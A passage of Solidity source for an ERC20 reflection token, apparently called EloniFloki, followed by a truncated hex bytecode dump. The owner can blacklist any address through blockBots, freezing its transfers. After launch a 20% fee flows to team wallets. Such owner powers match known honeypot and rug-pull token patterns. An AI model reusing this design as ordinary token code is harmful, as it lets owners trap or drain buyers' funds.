uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 5; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _cooldownSeconds = 30; uint256 private _launchTime; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool isEnabled) external onlyOwner() { cooldownEnabled = isEnabled; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 1; _teamFee = 20; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { if (block.timestamp < _launchTime + 7 minutes) { require(cooldown[to] < block.timestamp); require(amount <= _maxTxAmount); cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if (contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function addLiquidityETH() external onlyOwner() { require(!tradingOpen, "Liquidity already added"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _taxFee = 1; _teamFee = 20; _maxTxAmount = 3000000000 * 10**9; tradingOpen = true; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function manualSwap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() { require(cooldownSecs > 0, "Secs must be greater than 0"); _cooldownSeconds = cooldownSecs; } }
0x6080604052600436106101175760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610383578063d543dbeb146103c0578063dd62ed3e146103e9578063ed99530714610426578063f42938901461043d5761011e565b806370a08231146102b0578063715018a6146102ed5780637b5b1157146103045780638da5cb5b1461032d57806395d89b41146103585761011e565b806323b872dd116100e757806323b872dd146101df578063313ce5671461021c57806351bc3c85146102475780635932ead11461025e5780636b999053146102875761011e565b8062b8cf2a1461012357806306fdde031461014c578063095ea7b31461017757806318160ddd146101b45761011e565b3661011e57005b600080fd5b34801561012f57600080fd5b5061014a60048036038101906101459190612b98565b610454565b005b34801561015857600080fd5b506101616105a4565b60405161016e919061305c565b60405180910390f35b34801561018357600080fd5b5061019e60048036038101906101999190612b5c565b6105e1565b6040516101ab9190613041565b60405180910390f35b3480156101c057600080fd5b506101c96105ff565b6040516101d6919061321e565b60405180910390f35b3480156101eb57600080fd5b5061020660048036038101906102019190612b0d565b610610565b6040516102139190613041565b60405180910390f35b34801561022857600080fd5b506102316106e9565b60405161023e9190613293565b60405180910390f35b34801561025357600080fd5b5061025c6106f2565b005b34801561026a57600080fd5b5061028560048036038101906102809190612bd9565b61076c565b005b34801561029357600080fd5b506102ae60048036038101906102a99190612a7f565b61081e565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190612a7f565b61090e565b6040516102e4919061321e565b60405180910390f35b3480156102f957600080fd5b5061030261095f565b005b34801561031057600080fd5b5061032b60048036038101906103269190612c2b565b610ab2565b005b34801561033957600080fd5b50610342610b94565b60405161034f9190612f73565b60405180910390f35b34801561036457600080fd5b5061036d610bbd565b60405161037a919061305c565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190612b5c565b610bfa565b6040516103b79190613041565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e29190612c2b565b610c18565b005b3480156103f557600080fd5b50610410600480360381019061040b9190612ad1565b610d61565b60405161041d919061321e565b60405180910390f35b34801561043257600080fd5b5061043b610de8565b005b34801561044957600080fd5b5061045261135b565b005b61045c6113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e09061317e565b60405180910390fd5b60005b81518110156105a0576001600a6000848481518110610534577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061059890613534565b9150506104ec565b5050565b60606040518060400160405280601c81526020017f456c6f6e466c6f6b69207c20742e6d652f65666c6f6b69746f6b656e00000000815250905090565b60006105f56105ee6113cd565b84846113d5565b6001905092915050565b6000683635c9adc5dea00000905090565b600061061d8484846115a0565b6106de846106296113cd565b6106d98560405180606001604052806028815260200161398060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068f6113cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8e9092919063ffffffff16565b6113d5565b600190509392505050565b60006009905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107336113cd565b73ffffffffffffffffffffffffffffffffffffffff161461075357600080fd5b600061075e3061090e565b905061076981611df2565b50565b6107746113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610801576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f89061317e565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b6108266113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108aa9061317e565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610958600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ec565b9050919050565b6109676113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109eb9061317e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610aba6113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e9061317e565b60405180910390fd5b60008111610b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b81906130fe565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f65466c6f6b6920f09f92b9000000000000000000000000000000000000000000815250905090565b6000610c0e610c076113cd565b84846115a0565b6001905092915050565b610c206113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca49061317e565b60405180910390fd5b60008111610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce79061311e565b60405180910390fd5b610d1f6064610d1183683635c9adc5dea0000061215a90919063ffffffff16565b6121d590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610d56919061321e565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610df06113cd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e749061317e565b60405180910390fd5b600f60149054906101000a900460ff1615610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec49061313e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f5d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113d5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa357600080fd5b505afa158015610fb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fdb9190612aa8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561103d57600080fd5b505afa158015611051573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110759190612aa8565b6040518363ffffffff1660e01b8152600401611092929190612f8e565b602060405180830381600087803b1580156110ac57600080fd5b505af11580156110c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e49190612aa8565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061116d3061090e565b600080611178610b94565b426040518863ffffffff1660e01b815260040161119a96959493929190612fe0565b6060604051808303818588803b1580156111b357600080fd5b505af11580156111c7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111ec9190612c54565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550600160088190555060146009819055506729a2241af62c00006010819055506001600f60146101000a81548160ff02191690831515021790555042601281905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611305929190612fb7565b602060405180830381600087803b15801561131f57600080fd5b505af1158015611333573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113579190612c02565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661139c6113cd565b73ffffffffffffffffffffffffffffffffffffffff16146113bc57600080fd5b60004790506113ca8161221f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611445576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143c906131de565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ac906130be565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611593919061321e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611610576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611607906131be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611680576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116779061307e565b60405180910390fd5b600081116116c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ba9061319e565b60405180910390fd5b6116cb610b94565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117395750611709610b94565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ccb57600f60179054906101000a900460ff161561196c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117bb57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118155750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561186f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561196b57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118b56113cd565b73ffffffffffffffffffffffffffffffffffffffff16148061192b5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119136113cd565b73ffffffffffffffffffffffffffffffffffffffff16145b61196a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611961906131fe565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a105750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a1957600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ac45750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b1a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b325750600f60179054906101000a900460ff165b15611c07576101a4601254611b479190613354565b421015611c065742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b9957600080fd5b601054811115611ba857600080fd5b6001601154611bb791906133db565b42611bc29190613354565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000611c123061090e565b9050600f60159054906101000a900460ff16158015611c7f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c975750600f60169054906101000a900460ff165b15611cc9576000811115611caf57611cae81611df2565b5b60004790506000811115611cc757611cc64761221f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d725750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d7c57600090505b611d888484848461231a565b50505050565b6000838311158290611dd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcd919061305c565b60405180910390fd5b5060008385611de59190613435565b9050809150509392505050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e50577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e7e5781602001602082028036833780820191505090505b5090503081600081518110611ebc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f5e57600080fd5b505afa158015611f72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f969190612aa8565b81600181518110611fd0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113d5565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209b959493929190613239565b600060405180830381600087803b1580156120b557600080fd5b505af11580156120c9573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000600654821115612133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212a9061309e565b60405180910390fd5b600061213d612347565b905061215281846121d590919063ffffffff16565b915050919050565b60008083141561216d57600090506121cf565b6000828461217b91906133db565b905082848261218a91906133aa565b146121ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c19061315e565b60405180910390fd5b809150505b92915050565b600061221783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612372565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61226f6002846121d590919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561229a573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122eb6002846121d590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612316573d6000803e3d6000fd5b5050565b80612328576123276123d5565b5b612333848484612406565b80612341576123406125d1565b5b50505050565b60008060006123546125e3565b9150915061236b81836121d590919063ffffffff16565b9250505090565b600080831182906123b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b0919061305c565b60405180910390fd5b50600083856123c891906133aa565b9050809150509392505050565b60006008541480156123e957506000600954145b156123f357612404565b600060088190555060006009819055505b565b60008060008060008061241887612645565b95509550955095509550955061247686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ad90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061250b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126f790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061255781612755565b6125618483612812565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125be919061321e565b60405180910390a3505050505050505050565b60016008819055506014600981905550565b600080600060065490506000683635c9adc5dea000009050612619683635c9adc5dea000006006546121d590919063ffffffff16565b82101561263857600654683635c9adc5dea00000935093505050612641565b81819350935050505b9091565b60008060008060008060008060006126628a60085460095461284c565b9250925092506000612672612347565b905060008060006126858e8787876128e2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d8e565b905092915050565b60008082846127069190613354565b90508381101561274b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612742906130de565b60405180910390fd5b8091505092915050565b600061275f612347565b90506000612776828461215a90919063ffffffff16565b90506127ca81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126f790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612827826006546126ad90919063ffffffff16565b600681905550612842816007546126f790919063ffffffff16565b6007819055505050565b600080600080612878606461286a888a61215a90919063ffffffff16565b6121d590919063ffffffff16565b905060006128a26064612894888b61215a90919063ffffffff16565b6121d590919063ffffffff16565b905060006128cb826128bd858c6126ad90919063ffffffff16565b6126ad90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128fb858961215a90919063ffffffff16565b90506000612912868961215a90919063ffffffff16565b90506000612929878961215a90919063ffffffff16565b905060006129528261294485876126ad90919063ffffffff16565b6126ad90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061297e612979846132d3565b6132ae565b9050808382526020820190508285602086028201111561299d57600080fd5b60005b858110156129cd57816129b388826129d7565b8452602084019350602083019250506001810190506129a0565b5050509392505050565b6000813590506129e68161393a565b92915050565b6000815190506129fb8161393a565b92915050565b600082601f830112612a1257600080fd5b8135612a2284826020860161296b565b91505092915050565b600081359050612a3a81613951565b92915050565b600081519050612a4f81613951565b92915050565b600081359050612a6481613968565b92915050565b600081519050612a7981613968565b92915050565b600060208284031215612a9157600080fd5b6000612a9f848285016129d7565b91505092915050565b600060208284031215612aba57600080fd5b6000612ac8848285016129ec565b91505092915050565b60008060408385031215612ae457600080fd5b6000612af2858286016129d7565b9250506020612b03858286016129d7565b9150509250929050565b600080600060608486031215612b2257600080fd5b6000612b30868287016129d7565b9350506020612b41868287016129d7565b9250506040612b5286828701612a55565b9150509250925092565b60008060408385031215612b6f57600080fd5b6000612b7d858286016129d7565b9250506020612b8e85828601612a55565b9150509250929050565b600060208284031215612baa57600080fd5b600082013567ffffffffffffffff811115612bc457600080fd5b612bd084828501612a01565b91505092915050565b600060208284031215612beb57600080fd5b6000612bf984828501612a2b565b91505092915050565b600060208284031215612c1457600080fd5b6000612c2284828501612a40565b91505092915050565b600060208284031215612c3d57600080fd5b6000612c4b84828501612a55565b91505092915050565b600080600060608486031215612c6957600080fd5b6000612c7786828701612a6a565b9350506020612c8886828701612a6a565b9250506040612c9986828701612a6a565b9150509250925092565b6000612caf8383612cbb565b60208301905092915050565b612cc481613469565b82525050565b612cd381613469565b82525050565b6000612ce48261330f565b612cee8185613332565b9350612cf9836132ff565b8060005b83811015612d2a578151612d118882612ca3565b9750612d1c83613325565b925050600181019050612cfd565b5085935050505092915050565b612d408161347b565b82525050565b612d4f816134be565b82525050565b6000612d608261331a565b612d6a8185613343565b9350612d7a8185602086016134d0565b612d838161360a565b840191505092915050565b6000612d9b602383613343565b9150612da68261361b565b604082019050919050565b6000612dbe602a83613343565b9150612dc98261366a565b604082019050919050565b6000612de1602283613343565b9150612dec826136b9565b604082019050919050565b6000612e04601b83613343565b9150612e0f82613708565b602082019050919050565b6000612e27601b83613343565b9150612e3282613731565b602082019050919050565b6000612e4a601d83613343565b9150612e558261375a565b602082019050919050565b6000612e6d601783613343565b9150612e7882613783565b602082019050919050565b6000612e90602183613343565b9150612e9b826137ac565b604082019050919050565b6000612eb3602083613343565b9150612ebe826137fb565b602082019050919050565b6000612ed6602983613343565b9150612ee182613824565b604082019050919050565b6000612ef9602583613343565b9150612f0482613873565b604082019050919050565b6000612f1c602483613343565b9150612f27826138c2565b60408201905091